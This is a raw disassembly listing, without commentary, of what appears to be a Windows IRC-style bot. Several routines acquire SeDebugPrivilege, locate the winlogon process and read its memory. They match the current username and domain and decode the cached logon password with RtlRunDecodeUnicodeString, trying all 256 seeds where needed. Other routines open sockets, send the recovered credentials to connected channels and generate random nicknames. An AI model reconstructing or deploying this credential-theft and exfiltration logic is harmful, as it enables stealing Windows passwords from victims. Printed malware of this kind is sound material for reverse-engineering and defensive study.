		push	ebx		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; int
		lea	eax, [ebp+74h+var_218]
		push	eax		; int
		push	[ebp+74h+var_C]	; int
		lea	eax, [ebp+74h+var_298]
		push	eax		; Str
		push	[ebp+74h+var_29C] ; int
		call	sub_419799
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_43708C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 24h
		cmp	[ebp+74h+var_8], ebx
		jnz	short loc_4199E5
		push	ebx		; int
		push	[ebp+74h+var_C]	; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+var_298]
		push	eax		; Str
		push	[ebp+74h+var_29C] ; int
		call	sub_40123B
		add	esp, 14h


loc_4199E5:				; CODE XREF: sub_4198EB+D8j
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		push	[ebp+74h+var_10]
		call	sub_40B149
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_4198EB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419A03	proc near		; CODE XREF: sub_419FFD+ABp

String		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:dword_42B0E8
		push	edi
		mov	ebx, 100h
		push	ebx
		push	8
		call	esi	; GetProcessHeap
		mov	edi, ds:dword_42B0E4
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4DA960
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_42B0E0	; RtlFreeHeap
		push	[esp+28h+var_14]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		push	ecx
		push	eax
		push	ebp
		push	10h
		mov	[esp+38h+var_C], eax
		call	dword_4DA960
		test	eax, eax
		jnz	short loc_419AF0
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_419AF0
		xor	ecx, ecx
		inc	ecx
		cmp	eax, ecx
		mov	ebx, ebp
		mov	[esp+28h+String], ecx
		jb	short loc_419AF0


loc_419A8C:				; CODE XREF: sub_419A03+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_419AE3
		push	0
		push	0
		call	dword_4DB168
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4DB16C
		test	eax, eax
		jnz	short loc_419AD4
		mov	eax, [edi+60h]
		mov	[esp+28h+var_8], eax
		lea	eax, [edi+80h]
		push	offset aWinlogon ; "WINLOGON"
		push	eax		; String
		call	__strupr
		pop	ecx
		push	eax		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_419B08


loc_419AD4:				; CODE XREF: sub_419A03+AAj
		test	edi, edi
		jz	short loc_419ADF
		push	edi
		call	dword_4DB170


loc_419ADF:				; CODE XREF: sub_419A03+D3j
		mov	eax, [esp+28h+var_10]


loc_419AE3:				; CODE XREF: sub_419A03+8Ej
		add	ebx, 10h
		inc	[esp+28h+String]
		cmp	[esp+28h+String], eax
		jbe	short loc_419A8C


loc_419AF0:				; CODE XREF: sub_419A03+6Dj
					; sub_419A03+7Aj ...
		xor	edi, edi


loc_419AF2:				; CODE XREF: sub_419A03+17Dj
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_42B0E0	; RtlFreeHeap
		mov	eax, edi


loc_419B00:				; CODE XREF: sub_419A03+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_419B08:				; CODE XREF: sub_419A03+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_419B71
		lea	eax, [edi+80h]
		mov	[esp+28h+String], eax


loc_419B1E:				; CODE XREF: sub_419A03+16Cj
		add	[esp+28h+String], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+String] ; String
		call	__strupr
		pop	ecx
		push	eax		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_419B85
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+String] ; String
		call	__strupr
		pop	ecx
		push	eax		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_419B63
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_419B63:				; CODE XREF: sub_419A03+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_419B1E


loc_419B71:				; CODE XREF: sub_419A03+10Fj
		test	edi, edi
		jz	short loc_419B7C
		push	edi
		call	dword_4DB170


loc_419B7C:				; CODE XREF: sub_419A03+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_419AF2
; ---------------------------------------------------------------------------


loc_419B85:				; CODE XREF: sub_419A03+13Cj
		xor	eax, eax
		jmp	loc_419B00
sub_419A03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B8C	proc near		; CODE XREF: sub_419FFD+F0p

var_68		= byte ptr -68h
var_64		= dword	ptr -64h
var_44		= byte ptr -44h
var_38		= dword	ptr -38h
var_33		= byte ptr -33h
var_2F		= byte ptr -2Fh
var_28		= byte ptr -28h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 68h
		push	esi
		push	[ebp+arg_0]
		xor	esi, esi
		push	esi
		push	410h
		mov	[ebp+var_14], esi
		call	ds:dword_42B040	; OpenProcess
		cmp	eax, esi
		mov	[ebp+var_8], eax
		jnz	short loc_419BB5
		xor	eax, eax
		jmp	loc_419D27
; ---------------------------------------------------------------------------


loc_419BB5:				; CODE XREF: sub_419B8C+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[eax], esi
		push	edi
		lea	eax, [ebp+var_68]
		push	eax
		call	ds:dword_42B0F4	; GetSystemInfo
		push	[ebp+var_64]
		mov	[ebp+var_C], esi
		mov	esi, ds:dword_42B0E8
		push	8
		call	esi	; GetProcessHeap
		mov	edi, ds:dword_42B0E4
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebx, ds:dword_42B0F0
		lea	ecx, [ebp+var_C]
		push	ecx
		push	[ebp+var_64]
		mov	[ebp+var_4], eax
		push	eax
		push	7FFDF000h
		push	[ebp+var_8]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jnz	short loc_419C05
		xor	esi, esi
		jmp	loc_419D1A
; ---------------------------------------------------------------------------


loc_419C05:				; CODE XREF: sub_419B8C+70j
		push	1Ch
		lea	eax, [ebp+var_44]
		push	eax
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_8]
		call	ds:dword_42B0EC	; VirtualQueryEx
		test	eax, eax
		jz	loc_419D09
		test	[ebp+var_33], 10h
		jz	loc_419D09
		test	[ebp+var_2F], 1
		jnz	loc_419D09
		push	[ebp+var_38]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	edi, eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_38]
		mov	eax, [ebp+var_4]
		push	edi
		push	dword ptr [eax+18h]
		mov	[ebp+var_10], edi
		push	[ebp+var_8]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jz	loc_419D09


loc_419C60:				; CODE XREF: sub_419B8C+108j
		push	edi		; wchar_t *
		push	offset word_4DA160 ; wchar_t *
		call	__wcsicmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_419C88
		lea	eax, [edi+200h]
		push	eax		; wchar_t *
		push	offset word_4DA968 ; wchar_t *
		call	__wcsicmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_419C98


loc_419C88:				; CODE XREF: sub_419B8C+E3j
		mov	eax, [ebp+var_38]
		mov	ecx, [ebp+var_10]
		inc	edi
		inc	edi
		add	eax, ecx
		cmp	edi, eax
		jb	short loc_419C60
		jmp	short loc_419D09
; ---------------------------------------------------------------------------


loc_419C98:				; CODE XREF: sub_419B8C+FAj
		test	edi, edi
		jz	short loc_419D09
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	ds:dword_42B0AC	; FileTimeToLocalFileTime
		test	eax, eax
		jz	short loc_419CD5
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	ds:dword_42B0A8	; FileTimeToSystemTime
		test	eax, eax
		jz	short loc_419CD5
		mov	ecx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edi+42Ch]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_419CD5:				; CODE XREF: sub_419B8C+123j
					; sub_419B8C+135j
		movzx	eax, byte ptr [edi+42Dh]
		mov	dword_4DB180, eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_10]
		mov	[ebp+var_14], 1
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4DB178, eax
		mov	Src, edi


loc_419D09:				; CODE XREF: sub_419B8C+90j
					; sub_419B8C+9Aj ...
		push	[ebp+var_4]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_42B0E0	; RtlFreeHeap
		mov	esi, [ebp+var_14]


loc_419D1A:				; CODE XREF: sub_419B8C+74j
		push	[ebp+var_8]
		call	ds:dword_42B004	; CloseHandle
		pop	edi
		mov	eax, esi
		pop	ebx


loc_419D27:				; CODE XREF: sub_419B8C+24j
		pop	esi
		leave
		retn
sub_419B8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419D2A	proc near		; CODE XREF: sub_419FFD:loc_41A0F4p

var_50		= byte ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_2C		= byte ptr -2Ch
var_20		= dword	ptr -20h
var_1B		= byte ptr -1Bh
var_17		= byte ptr -17h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	[ebp+arg_0]
		push	0
		push	410h
		call	ds:dword_42B040	; OpenProcess
		test	eax, eax
		mov	[ebp+var_4], eax
		jnz	short loc_419D49
		leave
		retn
; ---------------------------------------------------------------------------


loc_419D49:				; CODE XREF: sub_419D2A+1Bj
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_50]
		push	eax
		call	ds:dword_42B0F4	; GetSystemInfo
		mov	eax, [ebp+var_44]
		mov	ebx, [ebp+var_48]
		cmp	ebx, eax
		mov	[ebp+var_10], eax
		jnb	loc_419E09
		mov	edi, ds:dword_42B0E8


loc_419D73:				; CODE XREF: sub_419D2A+D9j
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_42B0EC	; VirtualQueryEx
		test	eax, eax
		jz	short loc_419DF7
		test	[ebp+var_1B], 10h
		mov	eax, [ebp+var_20]
		mov	[ebp+var_8], eax
		jz	short loc_419DFD
		test	[ebp+var_17], 1
		jnz	short loc_419DFD
		push	eax
		push	8
		call	edi	; GetProcessHeap
		push	eax
		call	ds:dword_42B0E4	; RtlAllocateHeap
		and	[ebp+var_C], 0
		mov	esi, eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_20]
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_42B0F0	; ReadProcessMemory
		test	eax, eax
		jz	short loc_419DE9
		push	offset word_4DA160 ; wchar_t *
		push	esi		; wchar_t *
		call	__wcsicmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_419DE9
		lea	eax, [esi+400h]
		push	offset word_4DA968 ; wchar_t *
		push	eax		; wchar_t *
		call	__wcsicmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_419E1B


loc_419DE9:				; CODE XREF: sub_419D2A+95j
					; sub_419D2A+A6j
		push	esi
		push	0
		call	edi	; GetProcessHeap
		push	eax
		call	ds:dword_42B0E0	; RtlFreeHeap
		jmp	short loc_419DFD
; ---------------------------------------------------------------------------


loc_419DF7:				; CODE XREF: sub_419D2A+5Bj
		mov	eax, [ebp+var_4C]
		mov	[ebp+var_8], eax


loc_419DFD:				; CODE XREF: sub_419D2A+67j
					; sub_419D2A+6Dj ...
		add	ebx, [ebp+var_8]
		cmp	ebx, [ebp+var_10]
		jb	loc_419D73


loc_419E09:				; CODE XREF: sub_419D2A+3Dj
		xor	esi, esi


loc_419E0B:				; CODE XREF: sub_419D2A+123j
		push	[ebp+var_4]
		call	ds:dword_42B004	; CloseHandle
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419E1B:				; CODE XREF: sub_419D2A+BDj
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4DB178, ebx
		mov	Src, eax
		cmp	[eax], cl
		jnz	short loc_419E3D
		cmp	[eax+1], cl
		jz	short loc_419E45


loc_419E3D:				; CODE XREF: sub_419D2A+10Cj
					; sub_419D2A+119j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_419E3D


loc_419E45:				; CODE XREF: sub_419D2A+111j
		mov	eax, [ebp+arg_4]
		xor	esi, esi
		mov	[eax], ecx
		inc	esi
		jmp	short loc_419E0B
sub_419D2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E4F	proc near		; CODE XREF: sub_419FFD+134p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DB174
		add	eax, eax
		mov	[ebp+var_8], ax
		add	eax, 2
		push	esi
		mov	esi, ds:dword_42B0E8
		mov	[ebp+var_6], ax
		movzx	eax, ax
		push	edi
		push	eax
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_42B0E4	; RtlAllocateHeap
		mov	ecx, dword_4DB174
		add	ecx, ecx
		push	ecx		; Size
		push	Src		; Src
		mov	[ebp+var_4], eax
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		xor	eax, eax
		mov	al, byte ptr dword_4DB180
		push	eax
		call	dword_4DA964
		push	[ebp+var_4]
		mov	edi, offset byte_4DB188
		push	offset word_4DA160
		push	offset word_4DA968
		push	[ebp+arg_0]
		push	offset asc_4370F0 ; "-"
		push	200h		; Count
		push	edi		; Dest
		call	__snprintf
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_42B0E0	; RtlFreeHeap
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_419E4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419EE6	proc near		; CODE XREF: sub_419FFD:loc_41A138p

var_18		= word ptr -18h
var_16		= word ptr -16h
Dst		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4DB174
		add	eax, eax
		push	ebx
		mov	[ebp+var_18], ax
		add	eax, 2
		push	esi
		mov	[ebp+var_16], ax
		movzx	eax, ax
		push	edi
		push	eax
		push	8
		call	ds:dword_42B0E8	; GetProcessHeap
		push	eax
		call	ds:dword_42B0E4	; RtlAllocateHeap
		and	[ebp+var_C], 0
		mov	[ebp+Dst], eax
		mov	ebx, offset word_4DA968
		mov	edi, 200h
		mov	esi, offset byte_4DB388


loc_419F2A:				; CODE XREF: sub_419EE6+F8j
		mov	eax, dword_4DB174
		add	eax, eax
		push	eax		; Size
		push	Src		; Src
		push	[ebp+Dst]	; Dst
		call	_memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4DA964
		mov	eax, dword_4DB174
		and	[ebp+var_10], 0
		test	eax, eax
		mov	ecx, [ebp+Dst]
		mov	[ebp+var_8], 1
		jbe	short loc_419F9F


loc_419F67:				; CODE XREF: sub_419EE6+B1j
		cmp	[ebp+var_8], 0
		jz	short loc_419FBC
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_419F8B
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_419F8B
		cmp	dl, 20h
		jnb	short loc_419F85
		and	[ebp+var_8], 0


loc_419F85:				; CODE XREF: sub_419EE6+99j
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_419F8F


loc_419F8B:				; CODE XREF: sub_419EE6+8Ej
					; sub_419EE6+94j
		and	[ebp+var_8], 0


loc_419F8F:				; CODE XREF: sub_419EE6+A3j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_419F67
		cmp	[ebp+var_8], 0
		jz	short loc_419FBC


loc_419F9F:				; CODE XREF: sub_419EE6+7Fj
		push	[ebp+Dst]
		push	offset word_4DA160
		push	ebx
		push	[ebp+arg_0]
		push	offset asc_4370F0 ; "-"
		push	edi		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 1Ch
		jmp	short loc_419FD4
; ---------------------------------------------------------------------------


loc_419FBC:				; CODE XREF: sub_419EE6+85j
					; sub_419EE6+B7j
		push	offset word_4DA160
		push	ebx
		push	[ebp+arg_0]
		push	offset asc_437140 ; "-"
		push	edi		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 18h


loc_419FD4:				; CODE XREF: sub_419EE6+D4j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_419F2A
		push	[ebp+Dst]
		push	0
		call	ds:dword_42B0E8	; GetProcessHeap
		push	eax
		call	ds:dword_42B0E0	; RtlFreeHeap
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn
sub_419EE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_419FFD	proc near		; DATA XREF: sub_40274D+1AE3o

Dest		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
Str		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 29Ch
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_9C]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+90h], esi
		call	sub_41D64B
		cmp	eax, esi
		mov	[ebp+74h+var_4], eax
		jz	short loc_41A03C
		cmp	eax, 2
		jz	short loc_41A03C
		push	offset dword_437368
		jmp	loc_41A179
; ---------------------------------------------------------------------------


loc_41A03C:				; CODE XREF: sub_419FFD+2Ej
					; sub_419FFD+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41C3D9
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_41A174
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	ds:dword_42B018	; LoadLibraryA
		mov	esi, ds:dword_42B020
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+74h+var_8], edi
		call	esi	; GetProcAddress
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4DA960, eax
		call	esi	; GetProcAddress
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4DB168, eax
		call	esi	; GetProcAddress
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4DB16C, eax
		call	esi	; GetProcAddress
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4DB170, eax
		call	esi	; GetProcAddress
		mov	dword_4DA964, eax
		call	sub_419A03
		test	eax, eax
		mov	[ebp+74h+arg_0], eax
		jz	loc_41A148
		mov	esi, ds:dword_42B0FC
		mov	edi, 400h
		push	edi
		mov	ebx, offset word_4DA160
		push	ebx
		push	offset aUsername ; "USERNAME"
		call	esi	; GetEnvironmentVariableW
		push	edi
		mov	edi, offset word_4DA968
		push	edi
		push	offset aUserdomain ; "USERDOMAIN"
		call	esi	; GetEnvironmentVariableW
		cmp	[ebp+74h+var_4], 1
		push	offset dword_4DB174
		push	[ebp+74h+arg_0]
		jnz	short loc_41A0F4
		call	sub_419B8C
		jmp	short loc_41A0F9
; ---------------------------------------------------------------------------


loc_41A0F4:				; CODE XREF: sub_419FFD+EEj
		call	sub_419D2A


loc_41A0F9:				; CODE XREF: sub_419FFD+F5j
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41A141
		cmp	dword_4DB174, 0
		jnz	short loc_41A128
		push	ebx
		push	edi
		push	[ebp+74h+arg_0]
		lea	eax, [ebp+74h+Dest]
		push	offset asc_437230 ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		jmp	short loc_41A15B
; ---------------------------------------------------------------------------


loc_41A128:				; CODE XREF: sub_419FFD+109j
		cmp	[ebp+74h+var_4], 1
		push	[ebp+74h+arg_0]
		jnz	short loc_41A138
		call	sub_419E4F
		jmp	short loc_41A13D
; ---------------------------------------------------------------------------


loc_41A138:				; CODE XREF: sub_419FFD+132j
		call	sub_419EE6


loc_41A13D:				; CODE XREF: sub_419FFD+139j
		pop	ecx
		push	eax
		jmp	short loc_41A14D
; ---------------------------------------------------------------------------


loc_41A141:				; CODE XREF: sub_419FFD+100j
		push	offset unk_4371F4
		jmp	short loc_41A14D
; ---------------------------------------------------------------------------


loc_41A148:				; CODE XREF: sub_419FFD+B5j
		push	offset asc_4371C8 ; "-"


loc_41A14D:				; CODE XREF: sub_419FFD+142j
					; sub_419FFD+149j
		lea	eax, [ebp+74h+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_41A15B:				; CODE XREF: sub_419FFD+129j
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41C3D9
		pop	ecx
		pop	ecx
		push	[ebp+74h+var_8]
		call	ds:dword_42B0F8	; FreeLibrary
		jmp	short loc_41A187
; ---------------------------------------------------------------------------


loc_41A174:				; CODE XREF: sub_419FFD+4Ej
		push	offset asc_437194 ; "-"


loc_41A179:				; CODE XREF: sub_419FFD+3Aj
		lea	eax, [ebp+74h+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_41A187:				; CODE XREF: sub_419FFD+175j
		xor	esi, esi
		cmp	[ebp+74h+var_10], esi
		jnz	short loc_41A1A8
		push	esi		; int
		push	[ebp+74h+var_14] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_9C] ; int
		call	sub_40123B
		add	esp, 14h


loc_41A1A8:				; CODE XREF: sub_419FFD+18Fj
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		push	[ebp+74h+var_18]
		call	sub_40B149
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_419FFD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1C6	proc near		; CODE XREF: sub_418799+35p
					; sub_418CEA+B8p ...

Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_444100	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41A242
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	[ebp+arg_4]
		mov	[ebp+Dst], 2
		call	dword_444260	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_44417C	; inet_addr
		cmp	eax, esi
		jnz	short loc_41A227
		push	[ebp+arg_0]
		call	dword_444168	; gethostbyname
		test	eax, eax
		jz	short loc_41A242
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_41A227:				; CODE XREF: sub_41A1C6+4Bj
		mov	[ebp+var_C], eax
		push	10h
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	dword_4440AC	; connect
		cmp	eax, esi
		jnz	short loc_41A246
		push	edi
		call	dword_444218	; closesocket


loc_41A242:				; CODE XREF: sub_41A1C6+1Bj
					; sub_41A1C6+58j
		mov	eax, esi
		jmp	short loc_41A248
; ---------------------------------------------------------------------------


loc_41A246:				; CODE XREF: sub_41A1C6+73j
		mov	eax, edi


loc_41A248:				; CODE XREF: sub_41A1C6+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_41A1C6	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_41A24C(char *Dest)

sub_41A24C	proc near		; CODE XREF: sub_40274D+305Ep
					; sub_40274D+30C1p ...

Dest		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+Dest]
		push	offset asc_42CDD8 ; "\n"
		push	edi		; Dest
		call	_strcat
		pop	ecx
		pop	ecx
		mov	esi, offset dword_4DB58C


loc_41A264:				; CODE XREF: sub_41A24C+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_41A282
		cmp	dword ptr [esi], 0
		jbe	short loc_41A282
		push	0
		push	edi		; Str
		call	_strlen
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4441A0	; send


loc_41A282:				; CODE XREF: sub_41A24C+1Cj
					; sub_41A24C+21j
		add	esi, 210h
		cmp	esi, offset dword_4E1CAC
		jl	short loc_41A264
		pop	edi
		pop	esi
		retn
sub_41A24C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A293(char *Dest)

sub_41A293	proc near		; CODE XREF: sub_40274D+34C1p
					; sub_40274D+3504p ...

Source		= byte ptr -3Ch
Dst		= byte ptr -28h
var_27		= byte ptr -27h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
Dest		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		push	14h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		call	_rand
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	ds:dbl_437B00
		call	__ftol2
		cmp	eax, 1
		jnz	short loc_41A2DD
		call	_rand
		call	_rand
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_4431D0[edx*4]
		jmp	short loc_41A2F6
; ---------------------------------------------------------------------------


loc_41A2DD:				; CODE XREF: sub_41A293+2Fj
		call	_rand
		call	_rand
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_442ED0[edx*4] ; Source


loc_41A2F6:				; CODE XREF: sub_41A293+48j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_strcpy
		pop	ecx
		pop	ecx
		push	ebx
		push	esi
		lea	eax, [ebp+Dst]
		push	edi
		push	eax		; Str
		call	_strlen
		pop	ecx
		mov	esi, eax
		push	13h
		pop	ebx
		mov	[ebp+var_4], esi
		sub	ebx, esi
		call	_rand
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	ds:dbl_437AF8
		call	__ftol2
		mov	[ebp+var_14], eax
		call	_rand
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fimul	[ebp+var_4]
		fmul	ds:dbl_437AF0
		call	__ftol2
		cmp	esi, 2
		mov	edi, offset a__1 ; "-|`_\\{[]}"
		jle	short loc_41A368
		cmp	esi, 3
		jnz	short loc_41A35F
		cmp	[ebp+var_14], 1
		jz	short loc_41A368


loc_41A35F:				; CODE XREF: sub_41A293+C4j
		cmp	eax, 1
		jnz	loc_41A42B


loc_41A368:				; CODE XREF: sub_41A293+BFj
					; sub_41A293+CAj
		call	_rand
		mov	[ebp+var_14], eax
		fild	[ebp+var_14]
		fmul	ds:dbl_437AD8
		call	__ftol2
		push	off_4431D0[eax*4] ; Source
		lea	eax, [ebp+Source]
		push	eax		; Dest
		call	_strcpy
		lea	eax, [ebp+esi+Dst]
		mov	[ebp+var_C], eax
		movsx	eax, byte ptr [eax-1]
		push	eax		; Val
